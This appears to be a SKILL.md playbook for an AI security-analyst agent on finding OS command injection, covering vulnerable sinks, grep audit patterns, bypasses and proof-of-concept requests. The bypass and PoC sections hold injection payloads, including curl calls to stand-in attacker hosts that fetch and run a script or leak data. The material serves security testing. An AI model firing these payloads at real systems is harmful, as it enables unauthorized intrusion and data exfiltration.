command-injection

DevOps & Security

Hunt OS command injection (CWE-78) — user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.

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Source SKILL.md: https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md

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Command Injection Playbook

If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.

1. Sinks

Language	Dangerous	Safer
Python	`os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput`	`subprocess.run([...], shell=False)`
Node	`child_process.exec`, `execSync`	`child_process.execFile`, `spawn` (array args)
Go	`exec.Command("sh","-c",user)`	`exec.Command(bin, arg1, arg2)` with array
Java	`Runtime.exec(String)`	`Runtime.exec(String[])`, `ProcessBuilder([...])`
Ruby	backticks, `system(str)`, `%x{...}`	`Kernel.system(bin, *args)`, `Open3.capture2e`
PHP	`shell_exec`, `exec`, `system`, backticks, `passthru`	`escapeshellarg` + explicit execve

Even the "safer" APIs are exploitable if the binary path is user controlled (exec.Command(userBin, "--version")).

2. Non-obvious sinks

Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
Docker-compose / k8s manifests where command: is built from user input
PDF libraries that shell out to pdflatex, wkhtmltopdf, puppeteer
ImageMagick — convert user.jpg out.png where user.jpg is attacker-chosen (classic ImageTragick)
ffmpeg -i with user-provided URL/file (SSRF + RCE combo)
Git clone with user-supplied URL (remote helper injection)
SSH/Rsync wrappers building ssh user@host "cmd" from templates
ZIP extractors passing archive path to unzip binary

3. Audit workflow

# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src

# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src

# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src

4. Bypasses

Even when developers "sanitize" via blocklists:

Argument injection (the -oProxyCommand trick) — passing -oProxyCommand=curl $(whoami).attacker.com to ssh-based sinks
Space replacement — ${IFS}, {ls,-la} (brace expansion)
Backtick/dollar-paren — $(id), `id`
Command substitution in filename — $(curl evil.com/x.sh | sh).jpg
Unicode normalisation — ＂ (fullwidth) vs " bypass
Encoded newline — %0A turns single-command into multi-command
TarSlip — tar xzf user.tgz with --checkpoint-action=exec=...
Git — git clone 'ssh://ext::sh -c whoami # foo'

5. PoC ideas

# Spare out-of-band tester — DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"

# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"

# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"

6. `validate_finding` contract

success_patterns: uid=\d+, root, attacker OOB callback hit, total 0
negative_command: same URL, filename set to report.pdf
negative_patterns: 200, accepted

7. Default CVSS

Variant	Vector	Score
Blind OOB RCE unauth	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	9.8
Authenticated RCE (low priv)	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	8.8
RCE with scope change (container escape)	AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	10.0

8. Chain promotion

Command injection rarely needs chaining — it's the final hop of most chains. Instead, use it to promote earlier nodes: add enables edges from SSRF / file upload / path traversal vulns that deliver the initial payload.